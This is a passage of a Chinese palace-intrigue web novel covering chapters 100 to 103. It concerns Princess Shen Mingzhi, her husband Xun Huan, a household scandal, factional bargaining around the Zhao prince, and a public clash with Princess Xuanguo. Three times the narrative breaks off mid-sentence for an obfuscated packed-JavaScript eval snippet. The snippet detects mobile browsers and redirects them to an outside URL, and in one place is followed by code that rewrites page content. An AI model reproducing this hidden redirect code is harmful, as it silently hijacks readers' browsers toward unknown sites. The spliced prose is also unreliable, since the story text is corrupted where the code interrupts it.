柳曦既错开她的眼神,“家父与慈悲寺从一法师是故友,从一法师与巽山道人有旧。年后家父和从一法师一道回的杭州,昨日家父来信,让我帮法师在化隆寻找这块布的主人。” 沈明枳蹙眉,心中泛起不安:“有旧?” 柳曦既知道“有旧”不如“有仇”来得痛快,但“有仇”不如“有旧”来得确切,但在鲜明的情感色彩和措辞的极其准确之间,他选择了后者。 但他补充一句:“殿下也可以理解为,有仇。” 100. 第一百章 猪吃虎 “人呢?” “跑了。” 沈明枳拧眉。 巽山道人被暗卫吓得连夜出逃,出逃一路不忘去寻找这批暗卫的主家,不巧在杭州遇见了曾经的旧友、现在的死敌从一法师,碎布落到了从一手中,巽山逃出生天下落不明。从一得到了东西找上故友柳济道,托柳济道帮忙打听,柳济道转托远在化隆当御史的儿子柳曦既打听,柳曦既得到东西后不知为何联系起了她沈明枳,乘着路上偶遇托人给她带信请求见上一面详谈西南…… 可是,天下何其之大,柳家又不做布匹生意,从一为何要让柳曦既独独在化隆寻这布的主家? 沈明枳从巽山道人的画像上抬眼,正见柳曦既凛冽清明的目光倒映桌上烛花,瞬息间洞察自己的困惑,也将自己被看透后的一阵抑制不住的慌乱一览无余。可他不准备解惑,只是看着逐渐燃尽的灯烛,淡淡开口送客:“天色不早,公主还是回去休息吧。” 沈明枳霍然起身攥着那副画像,控制不住自己以一种威压的神态低声怒问,但千言万语都哽在喉咙,最后只化作一声低得沙哑的呼唤:“柳大人!” 柳曦既坦然地掀起眼皮直视沈明枳的眼睛,随后起身换他来俯视,“公主请。” “大人说过要助我一臂之力。” “那叫‘或许’。” 柳曦既还是看出来了她查神女庙的巽山道人别有用心,这是在逼她将秘密说出来、将软肋教到他手中。 但这怎么可能? 柳曦既垂眼:“公主请回吧。” 沈明枳醒来的时候,日上三竿。但郇寰确定她还能继续昏天黑地地睡下去,直到饥饿打败了困倦,这场最原始的欲望之争才能告一段落。 鉴于昨日是临川郡主的生辰,沈明枳晚归晚醒精神不振,郇寰从宫里回来的路上想着不能给她“好脸色”,但顺道经过赵王府进去填了填肚子,听说昨夜沈明枳是坐出宫来玩的长英公主的马车早早回去的,更兼他梳洗过后窝进了有她的被窝,方才一番建设全都轰然坍塌,恨不得抱着她就此睡死。 但打帘叫午、面色奇差的月珰却丝毫不顾惜他的心情,硬是将沈明枳从他的臂弯之中扒拉出来,顶着他凶恶的目光急不可待地将头痛欲裂的人摇醒,在眼前天旋地转的沈明枳揉着太阳穴即将发怒前,警惕地瞥了他一眼,最后顾不得纠结忙道:“殿下,出事了。” 沈明枳一瞬间神智清明,但四肢还未苏醒,迷迷糊糊之中手肘撑着郇寰的臂弯、手掌抵着郇寰的肩膀,用时有时无的力道将自己整个人支撑坐起打破先前依偎的姿态,一个沙哑低沉含着淡淡血腥味的“说”字就此冲破齿关。 月珰猜到沈明枳是担心连累到柳曦既,连忙继续道:“是辛——是申二夫人的事。” 沈明枳紧皱的眉头不可察地一松,几乎是下意识地转过脸来看郇寰的反应,谁知郇寰也正低下脸,一人的额头与另一人的嘴唇因此轻轻蹭过,沈明枳是还麻木着没有感觉,但郇寰却极其清醒有了反应。 沈明枳只用余光见他的喉结滚动,以为他有什么话要说,又迟迟等不来回音,又蹙了眉头正轻轻咳了咳准备开口问,这时觉得氛围莫名有些矛盾的月珰开了口:“今早申二公子去极乐坊时撞见……” 月珰感觉有四道冷箭似的目光瞄准了她,立时住了嘴,觉得剩下来的事情只需意会不可言传。 郇寰那些乱七八糟的心思全都收了回来,耳旁只留下自己内心的声音:昨日临川郡主摆酒做生辰,郡主的闺中密友申二夫人辛莘必然要去的,正经席面撤下后这些花丛中惯常潇洒如个中色鬼的女人们必然不能放过这样千载难逢、不必寻找借口的好机会,长夜漫漫发生点什么香艳的事情自然而然,但一大早被夫婿捉奸实属运背。 可申不极与辛莘这对夫妇吵得厌烦后便向来是各玩各的互不干涉,即便撞见对方和姘头颠鸾倒凤都能面不改色,但“出事”了,这就意味着不仅仅是捉奸这么简单,以郇寰对他们的了解,最可能牵扯到了“名声”二字,这样能心照不宣的秘事可能走路风声、甚至人尽皆知。 这就算出大事了。 沈明枳不轻不重地踩了郇寰的腿翻下了床,命月珰帮她穿衣梳洗,但最后还是被郇寰抢了先,被郇寰看着潦草用过晚得不能再晚的早饭,然后一道上了前往申国公府的马车。 但这一路上风平浪静,申国公府也风平浪静,门房看见郇侯和兖国公主齐齐出现,以为自己花了眼,将贵客请进厅后就慌不择路地去找人。幸亏郇寰提前嘱咐过,这才没有将申家一大家子喊来。 他们对视一眼,心中疑窦丛生,分别由人引着见到了申不极和辛莘。 辛莘已经砸了一地东西,正怒急攻心地被人看押在房,扬言要让每个看不清这个院落情势的人好看。申不极的书房也不容乐观,但屋外站了一圈的仆役心中想着,砸吧砸吧,如果能花钱消灾那就砸吧。 沈明枳是辛莘房外婢女们的救星,郇寰却是申不极书房外所有人的梦魇。 申景小心为郇寰开门,迎着郇寰的目光心中抹汗,因为他们公子是三令五申让他们把消息封锁严实了,昨夜郇侯值夜,今日郇侯休沐,绝对不能让这个消息扰了郇侯来之不易的休息。但消息就这样飞入了郇侯夫妇的耳朵!要让公子知道消息是从夫人处走漏给兖国公主的,他们非得掉一层皮! 郇寰自然还没到能看出他们心思的疯魔地步,只是小心避开地上的碎瓷破书,负手踱到了前一刻还张牙舞爪、后一刻就诚惶诚恐、温顺如猫的申不极眼前。申不极神色的转变直让郇寰疑心自己是否真的如年画上那般青面獠牙,失之可亲,更对他们这件烂事疑虑重重。 他捡了块儿还能坐的地,极其平和地开口,但申不极的反应好似他正在刑部大牢亲审囚犯。只等申不极磕磕绊绊将事情的来龙去脉说得一清二楚后,郇寰觉得他就在审这个姓申的牢犯,就等他捋清楚背后动机一并发落。 他的脑补出了差错,根本没有什么身败名裂的情节,只有申不极一怒之下将衣衫不整的男人打得不省人事的下场。但这并不足以劳动郇寰震怒,最让郇寰怒中生寒的是提醒申不极一大清早去极乐坊捉奸的那个人,是新晋的抚远侯何卓远的孙子,何施臣! 有了介含清的暗中协助,赵王派已经拿着僭越案找以何家为首的西南氏族谈判了,事情进行得很顺利,就差临门一脚板上钉钉,现在何施臣莫名唱了一出申公府的大戏,事情可以按下来却凭白成了一个把柄。人尽皆知申家二郎与他郇寰交情匪浅,申国公府虽然中立,族中与何家还有姻亲关系,但申家与赵王派都不介意通过他和申不极互通有无,尤其是在魏王、燕王败落之后,申家几乎是要明着在赵王背后下注,但在有心人眼中,申家早就是和赵王一条船上的人,拿捏申不极就是在拿捏赵王。 何家这是要毁约背盟。 郇寰和申不极都感觉到了此事的棘手。 但辛莘却十分明了:她又不是第一回了,偏偏这次出了事,她辛莘是眼吓心盲了才不会怀疑到长英身上。何施臣确实昨夜也在极乐坊宴饮,但在极乐坊宴饮的非我族类多了去,谁又真的知此内幕,谁又真敢动她的土? 沈明枳只坐在一旁哈气连天,咂摸着自己的不是滋味竟尝出了几丝惊喜。帮助赵王派用僭越案拉拢、拿捏、威胁西南氏族并非她本心,逼着吴王破釜沉舟与之背水一战才是真正用意,现在有别的人将赵王夺权这一路顺风改成一波三折,免去她出手的风险,真是意外之喜。 至于辛莘。 怎么说,她沈明枳该劝的也劝了,该帮的也帮了,该遮掩的也遮掩了。她知道申、辛二人的往事,对辛莘的性子也了如指掌,辛莘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈明枳却没管这个,注意力都被辛莘被申不极关禁闭这件事吸引过去。她嫁了这么多年,难道就没有在府中培养自己的心腹?她不是向来在申家呼风唤雨说一不二,怎么事到临头却被常年不着家的申不极面缚私囚? 沈明枳边想着边起身,问郇寰拿了什么主意,出了房门冷不防见平时颇得辛莘宠信的几个婢女小厮都被监视着垂首跪在廊下,心中对深藏不露的申不极多了几分敬;忽又觉得申不极跟着郇寰混了这么多年,没学着他七分的诡也学着他三分的威;更觉得若申不极真是个败絮其中的草包,就凭郇寰那个骄傲的性子,如何能忍他这么多年倾盖如故。 “那便回府。”沈明枳摆手,命人再将房门关上,也不管辛莘的大喊大叫,只是路过跪了一排的人前脚步一顿,侧过脸低声嘱咐道:“好好看着她反思。” 若真是为了她好,就看住她。 申不极跟着郇寰,远远地见到了这一幕,通过唇语猜出了意思,心中莫名赞叹他们可真是一对夫妇。 郇寰和沈明枳婚后从未一起出门吃酒楼,这一回是饿极了不打算赶远路回府等午膳,于是破天荒第一次登上路边万景楼那辉煌气派的大门。郇寰很不想来这儿的,平常应酬请客把这儿的新旧菜式都吃了遍,最关键的是,他一来这儿就会想起官场上的尔虞我诈来,很不适合他们夫妻俩个说些私房话。 但却很适合他们听墙角。 “你可听说,楼家儿孙辈里的魔头竟然参军去了!” “是楼家那位大名鼎鼎的楼二公子?” “楼家不是书香世家?楼二公子不是纨绔头头?怎么浪子回头回到军营里了?” “咦,楼家家大业大,可就是军中差了点门路,儿孙里面有愿意去刀山火海搏一搏的,当家的指不定多高兴。” 101. 第一百零一章 一巴掌 沈明枳就坐在靠近二楼阑干的小包厢里,听着楼下大堂里食客谈天说地,话题一会儿从楼复参军转变到了乔门逆子,再从乔致用为情背离转变到军中那些不可说的三两事。郇寰与同僚偶遇客套过后躲了回来,进门就见沈明枳捧着下巴听得出神,月珰正不慌不忙地为她布菜,但她一筷子也未动。 郇寰让月珰退到隔壁也用饭休息,自己盥手后端起桌上茶壶给自己空空的杯中蓄满琥珀色的茶水,忽然想起多年前沈明枳琥珀色的衣角,云中点鹤般飞掠过眼前,让人无视千红万紫,就此移不开眼。 那是一年上元,他被申不极哭着求着赶上了朱雀大街的灯市,据说那时的鳌山极大极美,但他是个心不在焉的,平白糟践了良辰辜负了美景,心心念念都是案子,目光所及都是嫌疑,被申家那些未出阁的姐姐妹妹看猴似的看了一通,忍无可忍揪着申不极的领子就逃之夭夭。 他昨夜熬了通宵,前夜也熬了通宵,今天又忙了一个白昼,若不是他累极了没工夫收拾申不极,当他听见申不极大过年地和家里兄弟姐妹打牌吃酒时“输”了,被威逼利诱要求将郇家那位年轻的侯爷约出来见上一见的盘算时,申不极已经是具尸体了。 郇寰甩了甩拽申不极的手,一眨眼发现他已经逃得无影,咬牙抬脚往喧嚣之外的一家胡姬酒肆走去打算歇息歇息,没走几步就和对面的人潮之中的一人撞了满怀,一低头发现是陌生面孔,那女子一张脸都像被煮熟似的,根本不敢看来人,只匆匆忙忙道了歉一扭身又无影无踪。 郇寰被这女子的脂粉香呛得打了一个大大的喷嚏,随后就感觉自己的脑中有数不尽的蜜蜂翁翁乱撞,他只能驻足缓神,等他逐渐恢复清明时,眼前豁然见一张半是陌生半熟悉的脸。对方似是在找着什么,目光一扫而过并未看见自己,旋即扭头就往另一个方向走去,只有一片被烟火染得极尽明艳的衣角拂过虚空。 郇寰知道她,是排行第十的长平公主。 他不知是何缘故,几乎是下意识地追了上去,但越追越偏,直到灯光火色都在道两侧的巍峨楼影中若隐若现,他听见静夜中有女子交谈的声音从不远处的鬼魅暗夜中传来,一滴冷汗瞬时滑落让他背脊一寒,环顾四周,立刻在来人发现自己这个不速之客前闪身躲进了漆黑墙凹之中。 “咦?怎么不见人呢?我方才分明看见陆微往这边来的。” “算了算了,快走吧,这里怪吓人的。” “又要半途而废了,好不容易逮到他们外出偷情——咦,你在看什么?” 第三种声音低低传来:“这儿有一个香囊。” “是啊!这上面绣的什么?” “咱们还是感觉到亮的地方去吧,这香囊一定是他们跑的时候留下的,走吧走吧。” 郇寰还来不及整理听到了这些能够轰动化隆的字句,就听杂乱的跑步由远及近地传来,他微微一偏头,借着细微的光想看清她们的面孔,但两条黑影箭似地飞过叫他空手而归,等他专心要注意最后一个落在后面慢慢悠悠走着的人时,突然一片黑影向自己扑来,随之而来的还有一声戛然而止的轻呼和一阵似有若无的暗香。 他正搞不明白这人怎么就被地上的障碍绊倒摔进了自己呆的这个墙凹,他的双手已经迅捷地要将来人撑在自己胸前的一只左手控制,等她撑在墙上的另一只手也被郇寰顺势箍住,他即刻抬手将她的下半张脸都覆压入掌心。 “别害怕,我不是坏人。” 郇寰在她耳畔说出这样安慰的字眼时连他自己都不相信,他这架势着实不像个好人,但他的确又没有歹意。等他开始懊恼事情怎么就变成这副模样时,危急关头离家出走的敏感这时候找上门来,他可以清晰地感觉到掌心温热的呼吸和那钻入他肺腑的暗香正在拨弄他紧张的神经,他手中与这人肌肤相接的地方火辣辣地热,热到这把火很快就要席卷全身。 他心下一惊,立即撒手往后退了半步,但背后就是墙壁,后脑勺撞墙的滋味直让他想大骂,就在这一瞬间,她立刻蹿了出去没了影,巷子口很快传来她同伴的担心和担心过后的释然:“鹇儿你怎么才来,我们担心死了!” “你袖子怎么这么脏?” 他靠着冰冷的墙面立在原地,指尖还萦绕着浮动的暗香,慢慢等自己平复下去。他以为自己彻底平静了,还煞有介事地去查陆微私事一无所获,但后来从赵王处得知华嵘的妹妹和宁大郎珠胎暗结,事情就是散步的陆微撞破的,赵王还暗示他可以去勾搭长平公主。 这一刻,他发现自己根本没有平静,可能将来也难获平静。 当然后来郇寰就明白了,陆微撞破不假,但宣扬得满城风雨根本就不会是他的作风,再联想起那夜临川郡主的、辛莘的一番话,还有沈明枳发现的香囊,谁是幕后主使谁是替罪羔羊一目了然。更让郇寰越琢磨越惊诧的是,沈明枳会允许临川将宁大郎和华家的事情抖露出来,兴许证明她根本不想嫁宁晨铎但碍于没有一个好借口。 郇寰为她续上一杯茶。 沈明枳回过神,抿了一口茶,动筷子开始夹菜。 他们静静吃着饭,耳边灌满了楼下人的高谈阔论,最后轮遍了时下京城的风云人物,又首尾呼应,说起楼复曾经的二三事。 其中间或谈起今早申不极在极乐坊动手打人见血,但衙门公差到了发现一无苦主二无人证,各方都上赶着息事宁人,付完了官老爷们的辛苦费后,该喝喝该乐乐。若有人问起他申不极为何打,那便会有一个声音问他:“兄弟,你是新来的吧?”如果回应是“是啊,怎么了?”,那么接下来申不极从十岁到二十岁再到而今干过的缺德事便会如滔滔不绝的江水,将整片喧闹的茶客荡涤一遍。若还有其他五花八门的回答,那总而言之言而总之,申二郎从前打人不用理由,申二爷现在打人也毫无理由。 申不极的名声可真是…… 郇寰决定下回对申不极温柔点,好歹也为自己背过不少锅。 等吃得差不多了,沈明枳问道:“三娘的婚事你有什么打算?” 那天,他让人把楼复绑送回了楼家,将三娘重新锁了起来,想再打算打算,晚上和沈明枳谈着谈着谈崩了,千钧一发时有人来报,说三娘上吊被救了下来。他算是看明白了郇三娘的计划,一怒之下打算成全她,却让沈明枳拦了下来,还让人即刻捆了她送到庄子上。 后来不知怎么,郇三娘以为自己的事情让他和沈明枳吵了一架,心有愧疚,沈明枳让她吃饭就吃饭、让她睡觉就睡觉,没了楼复的纠缠现在在城外庄子上日子过得不错,也再没有自杀什么的倾向。 沈明枳这是听见了楼复参军才又想起了郇三娘,她的想法郇寰如何猜不出,只得不咸不淡地说了“算了吧”三个字,心中只念叨着全看他们的造化。 楼复是想效法乔致用,以此对抗楼氏这个庞然大物,但时移事易,现在四境太平,楼复想混到乔致用这个层次不知要等到猴年马月,再说,楼复有没有乔致用千军万马之中直取敌方上将首级这样的本事,郇寰不予置评。楼复耗得起,但郇三娘等不起;楼家的脸早就丢尽了,但郇家丢不起这个人。 其实沈明枳还有另一方考量。楼家现在当家的是菁明书院的大儒楼宥维,他弟弟楼宥谦则是都察院右都御史,都是极受器重之人,离圣心圣意最近的人,向来秉持中立的人。所以在时局明了之前楼家死活不答应楼复与郇三娘的婚事,情有可原;但事到如今,赵王一派风光无量,除了缺一纸立储的诏书几乎就是实权的太子,如若赵王派襄阳侯此时再提婚事,楼家仍然不识好歹,那便无理可恕。但楼家人都是人精,如何会不识好歹,顶着得罪未来太子、未来新君的臂膀的风险仍然不肯退让,这说明什么? 说明圣上可能根本不属意赵王!若让赵王派参透这一层意思,那秦王老九和戒子就只有死路一条。 沈明枳又觉得头疼。 更让她头疼的是,她撒出去的暗卫在回化隆途中遭遇伏击,暗卫查到的所有与神女庙有关的新消息全都不翼而飞。 ** 沈明枳梳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109210|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洗穿戴完毕,与郇寰打过招呼上车出芳林门与临川赏花,沿途听了一耳朵赵王府的鸡飞狗跳。 事情的起因还是辛莘的事情,被何家捅到了赵王面前。但平心而论,赵王背后的老油条们根本不在乎什么申国公府,关键的是临川郡主的生辰宴兖国公主和长英公主都出席了,申二夫人闹出了这样的丑闻,传出去谁知道还会传出兖国、长英二位公主殿下什么荒唐的流言蜚语。有了宣国公主养面首养出事故的前车之鉴,再加上长英公主未婚,于是本就头大的郇寰和赵王派的老油条们全被拿捏了,不得不对西南氏族更客气了几分。 但好戏才刚上演。西南氏族趁机提出了三年孝期后联姻的要求,打算走一走圣上当年拉拢人心的老路,清一色年轻美貌聪慧的西南氏族之女供赵王挑选。 这一下赵王妃窦晴柔和窦家不干了,这不是要让他们重蹈乔皇后和乔家的死路么。更何况,窦晴柔于内宅嫡庶方面绝对称不上大度,这么多年来赵王府中的良娣侍妾不少,但硬是一个蛋都没有留下,旁人又抓不到把柄,可见手段厉害。 临川笑成了一朵花儿,愈发娇嫩,“这些天赵王府有得闹呢。” 沈明枳心情郁郁,还想着如何处理神女庙的事情,根本对赵王派的事情上不了心,但临川自顾自说得高兴,也根本不需要沈明枳捧眼应和,只在临川说到辛莘的近况时略微留意。对外只说申二夫人染病不宜见客,到庄子上修养去了,实际上是被申不极关到庄子上闭门思过了,只要事情一日不平息,她就一日不能见天日。 沈明枳道:“这也是为她好。” 临川眨眼。 若西南氏族女入府,窦晴柔不痛快,指不定要找辛莘的麻烦;若西南氏族女未入府,西南氏族不痛快,指不定一抹脸将事情抖露出来大家谁也别想好过。辛莘又是个冲脾气,一怒之下真会做出一些失智的事情,申不极早早将她看管起来送出化隆,实在是没法子的办法。 沈明枳看着路线越来越偏,见临川又朝她眨眨眼,顿时明白她是诓了自己大热天出来去看望庄子上的辛莘。 申不极对她还怪好的,还准许别人探视。 沈明枳无奈地笑了。 但当回城时被临川拉着去曲江边上走了一圈,在夕阳画舫间看见了宣国,整个人的笑容都凝固在了脸上。 “她怎么跑出来了!”愤怒的临川被沈明枳按住,随后就听沈明枳冰冷刺骨的声音消融去盛夏傍晚的闷热:“趁着赵王府自顾不暇出来透透气。” “她不是有病吗!” 可谈笑晏晏、甚至有功夫与长华发生口角然后一巴掌扇在如花似玉的少女脸上的宣国公主,根本就不像身有隐疾、奄奄一息的样子。 沈明枳松开还在原地爆炸的临川,自己打帘下车,径直走向了码头。 长华不过比长英年长一岁,但两个人过的日子可谓云泥之别。好在长荣出降成为梁国后时常回宫探望荣妃,站住脚跟后时不时帮衬这个比自己还要落魄的妹妹一把,让无人可倚的长华感受到了些许温暖。但也就是长荣走开的这一会儿功夫,长华就在宣国公主的一巴掌下变回原形。 “宣国姐姐,你这是做什么?”长荣看着长华脸上那个刺眼的红手印,什么韬光养晦、温柔有礼都被抛在脑后,扑了上去将长华护到了身后与一脸无所谓的宣国理论。 “我做了什么?长华妹妹,你不妨和你梁国姐姐说说我做了什么?” 长华只是躲在长荣的怀里哭,听了宣国这话更连哭都不敢了,只抽噎着头低得更深。 长荣咬碎了一口牙:“宣国姐姐,当妹妹的有什么地方得罪了姐姐,还望姐姐大人大量不要与妹妹计较,即便不能大人大量,妹妹在此向姐姐谢罪,又何必出手伤人!” 宣国柳眉一扬、杏眼一瞪:“你说我没有度量?” 话落,私下窃窃声霎时湮灭,只有遥远的画舫上笙歌妙舞,隔着血似的晚天残霞,幽幽地飘荡而来。临湖而建的歌楼上也陆续止了声响,纷纷探出头来张望。 102. 第一百零二章 失心疯 第一百零二章失心疯 沈明枳冲上去撕了宣国的心都有了。 一路有认识她的男男女女全给她让了一条道,不认识的瞧她面色不善避唯恐之不及,很快,直通靠岸画舫的一条霞光大道就此展开在沈明枳眼前,连带着长华肿起的半边脸也愈发清晰。 长荣自知是斗不赢比泼皮还要无赖的宣国的,见局面有些难以收场也不打算继续纠缠,心里狠狠啐了她一口为长华遮着脸就要走,谁知宣国身边侍立的娈童妖女冲了过来拦住了去路,硬是一副不死不休的架势。 “那我就要让你们这些贱婢生的贱种看看,什么叫做没有度量!” 正当那些不男不女的和长荣的婢女冲突时,冷不防一声凛冽的高问劈头而来:“你这是要让谁看?” 随后就见沈明枳曳着这一地狼藉,定定站在了混局中央,身后匆忙赶来的是披坚执锐的护卫和跑得上气不接下气的临川。 沈明枳再重复问上一句:“你是要让谁看?” 宣国有没有胆上生寒旁人不知道,但知晓点皇家秘闻的都不寒而栗。这极受恩宠的兖国公主的生母,据说就是一个岌岌无名的宫女,她可不就是宣国公主口中的“生贱种的贱婢”。 宣国身边管事的女仆一见情形不对,立刻附耳劝解,命人将正气得眼冒金星的宣国公主拉回了舱,自己上前躬身赔礼,谁料抢上前来的临川郡主一个耳光扇了过来,直接将她整个人扇到了地上,一句“主子说话有你贱婢什么事?”将在场的所有有贼心没贼胆的人全都震慑在地。 临川甩甩手,乜斜着船舱中双目通红的宣国冷笑道:“看来真是什么样的主子教出什么样的奴。” 沈明枳挑眉,一边的长荣和长华已经开始发抖。 一瞬。 两瞬。 三瞬。 宣国发疯似地咆哮起来,挣脱了左右束缚冲到了临川眼前,揪上她的头发就要厮打起来,但她的手还没碰到临川的一根寒毛就被护卫一脚绊中了小腿,“轰”地一声摔了下来,临川轻盈地躲到了相依偎着的长荣、长华面前,嬉笑道:“长华妹妹别伤心,你们宣国姐姐知道错了,给你行了这么大的礼呢!” 设计让宣国出丑也就罢了,何必这样吓唬长华。 沈明枳无奈,一抬手命人护着长荣、长华跟着临川退走,自己蹲下身与刚要爬起来满嘴秽语的宣国耳语:“你还是老实地呆在庄子上不要出来,不然什么时候丢了命,你兄弟还顾不上你。” 这样阴狠的话说完,沈明枳立即扬声笑着安慰起她,在逐渐散场的旁观者的指指点点之中面不改色、温和可亲地扬长而去。 沈明枳在梁国府上少坐片刻,等她送完临川回到兖国公主府,晚间皇家的丑闻已经插上翅膀飞过千家万户,像一支白羽箭直愣愣没入了皇城宫墙。 郇寰自然也如被箭贯穿心肺一般,气得一口气提不上来,濒死般双手捏着案卷直发抖,又听说沈明枳也牵扯其中,顿时又活了过来甩下满桌的烂摊子,抢过刚赶回衙门满头大汗的侍郎陶识礼手中的马僵,翻身上马,一夹马腹,投石似地砸了出去。 一路狂飙即将到达赵王府,郇寰紧了紧缰绳减了减速度,然后在门房大气不敢出的恭敬注视下阔步走了进去。 至于说了什么,沈明枳不知道,但当她将郇七郎和郇八娘都打发回房,自己舒服地换过衣裳躺在廊下听蝉唱时,郇寰裹着入暮炽烈回来时的脸色很不好。 “你伤到了吗?”郇寰也顾不得嫌弃自己身上的汗味,直走到沈明枳眼前屈膝半跪了下来,拿起她的手翻来翻去确定连破皮都没有,才堪堪放下一半的心。 “我没事,”沈明枳不着痕迹抽出手摆了摆,起身给他让了个座,自己走到小竹案前弯腰给他倒了杯凉茶,“就是长华的脸……” 郇寰并没有坐上那把摇椅,而是捡边上一把竹矮凳坐了,叠起官袍袖口接过茶杯一饮而尽,“一得了消息赵王妃就亲自上梁国公主府给长华公主赔罪了,赵王也入宫向圣上请罪。” 沈明枳袖手倚柱站着,默不作声,郇寰困惑地抬头看向她:“有何处不对?” 沈明枳无奈轻笑:“没什么不对。” 就是长华的脸和脸面,算是毁了。 郇寰嘿然,了悟到她的意思后劝:“这些也不是我们能补偿的,况且,这也不是我们的错。” “那宣国是怎么回事?” 郇寰长叹一声,将冰凉的茶杯握在手中,“数月前神医余回春入京,受齐侯世子延请为宣国公主调理。” 沈明枳挑眉,语带嘲讽:“真有儿孙福。” 郇寰的眉眼又低了几分,心中像打翻了调料盒五味难分,又听她道:“这件事赵王知道的,对吧。” 余回春是吴王母妃娘家人,替赵王姐姐宣国公主诊治,这样大的情面吴王如何会不让赵王知道。想必吴王也知道宣国是个能将赵王派折腾得七窍生烟的主儿,才放心大胆地让余回春妙手回春一次救她性命,宣国也不负所望,赶在西南氏族与赵王派焦灼难分的当口,将赵王派这几年好不容易积攒回来的好口碑都践踏稀碎。 郇寰默认。 气氛又僵硬起来。 忽闻谁的肚子在直掀天灵的蝉噪中清清楚楚地叫了一串,郇寰的表情出现了裂痕。 沈明枳倏尔歪过头蹙起眉:“王府没留你吃饭?” 郇寰抬手掩住半张微红的脸,攥着茶杯,瓮声应了一句。王府上下谁还有功夫吃饭,该谢罪的谢罪,该抓人的抓人,摔东西骂下人撕纸片一气呵成,他跟尊门神一样坐在那里,气都气饱了,等王府上下给出一个还算满意的交代之后才拂袖走人。 沈明枳服气,睨了他一眼然后吩咐人给他开小灶。 ** 天漏雨。 沈明戒将马鞭别在腰带上,负手站在檐下放风,看丛竹斜仰、群叶纷飞,半身锦衣都被秋霜秋雨打湿,整个人都在越来越稠的天色中逐渐隐去,但雕刻斧凿的眉眼越来越亮,仿佛要将着阴霾的一切烫出一个洞来。 身后的门内有阵阵蹒跚的脚步,随后“咯吱”一声门被人推开,侍立沈明戒左右严阵以待的暗卫纷纷退后,给背着大药箱颤颤巍巍走出来的老头子让路。被暗卫架住不得动弹的药童这个时候挣脱禁锢蹿了过来,从老头肩上担过药箱,又从躬身递伞的暗卫手中夺过那把算得上破旧的纸伞撑了起来,仔细地为老头看着脚下路,一直在众人的监视之中走下十几级台阶,上了早早停驻在阶前平台上的一辆蓝布马车。 沈明戒旋即命人跟上那辆马车,自己则步入屋内,小心带上门。 沈明枳一抬眼就看见他湿了半边的衣裳,命月珰把屋中的炭盆烤得旺了些,自己则将炉子上煨着的热茶给他倒了一碗,“这次多谢你了。” 沈明戒嘴上说着“阿姐何必与我客气”之类的话来舒缓屋内人的心情,心里却烦闷起来,再一想到近来传得沸沸扬扬的流言,想到郇海山那张真真假假难以辨别的笑脸,想到南巡一路阿姐那藏都藏不住的落寞,这三分烦闷都被拨成了七分愤怒,只差拔剑捅死那些始作俑者。 但他又知道自己做不得那些快意恩仇的侠客,必须瞒下自己的真情戴上虚伪的面具,到这暗潮涌动的人世间搏杀。 沈明枳见他神情不对,但她分不出精力来猜究竟是什么事情让她的好弟弟担心,只捧了茶碗暖着手,捡着不轻不重、不咸不淡的事情说了,归根结底,让他放一万个心。 但沈明戒直觉,事情远非这三言两语勾勒的这么简单。 余回春是活死人、肉白骨的圣手,但他行踪不定,想请他老人家出手难上加难,好在这余回春曾救过鲁纯学的命,本着医者仁心的态度,余回春常常要为鲁纯学修改药方、当面复诊,天下人不知道的踪影鲁纯学知道,天下人请不动的神医鲁纯学请得动,他与鲁纯学交好,此番是近水楼台先得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈明戒琢磨不出阿姐是以怎样的心情,向他提出要见一见余回春的。他的阿姐不应该是被家宅子嗣囚禁起来的笼中雀,她是鸢,她是鹏,她非池中物。也正因为他见过她南巡一路的苦心谋划、南海道布政司的先斩后奏、惩治贪官污吏的雷厉风行,他知道她生来属于天地而非咫尺,所以他怀疑,他不解,他忧心忡忡。 他知道有很多话、很多事,沈明枳不愿、不会、不能对他说。 他只需要相信就可以了。 “戒子?沈明戒?” 沈明枳叫了两声他才回过神来,“怎么了阿姐?” “该走了。”沈明枳起身披上大氅,月珰正仔细灭着炉火,此刻都看向怔愣着的沈明戒。 “该走了。” 不消申不极多说,郇寰一压斗笠,调转马头就沿着泥水山路往山下走。这路又陡又险,即便很多年没有走过了,郇寰还能做到少年时那般从容,将嘴上骂骂咧咧、心里抽抽嗒嗒的申不极抛得老远。 他觉得自己就是犯贱,好好的给郇寰这厮通什么风、报什么信,让他一个人到这荒山野岭自讨没趣。 今日兖国公主是打算来探望他家那头被拔了爪牙的河东狮的,他恰好也要来走一遭,谁知路到半途兖国公主的车架换了条路走,越走越偏,越走越荒,越走越眼熟。这不就是他和郇寰少年时在城外打猎后常常前来休憩的窝点么! 这是处废庄,但后来听说是有主人家的,只是主人家家大业大根本没想到在这样风景宜人的深山之中还有这样一处房产,最终被想起来的主人家大笔一挥卖了出去,至于买家是谁他还查不到,不过这四周的路他很熟,熟到那些窄得只容一人独步的山崖栈路他都知道。 他正要给向来有的放矢的兖国公主编出一百零八个借口,忽然看见一架低调的马车颠颠簸簸地驶来,驾车的是一个年轻小伙,下车的也是一年轻小伙。申不极大吃一惊,联想起最近城中的流言蜚语,断然怀疑兖国公主是偷偷摸摸养起了不要脸的小白脸,又莫名担心公主找野男人是想证明什么而他的好兄弟郇寰可能真的有什么妨碍,立刻打马返回给郇寰报信去了,就此错过了最后下车的老头余回春。 好在不是什劳子的小白脸,申不极捏了一把汗,要真是如此,以他对郇海山多年了解,这厮完全是做得出杀人灭口这样勾当的人。但却是个老头,看样子还是个会医术的老头!这又大事不妙起来。 103. 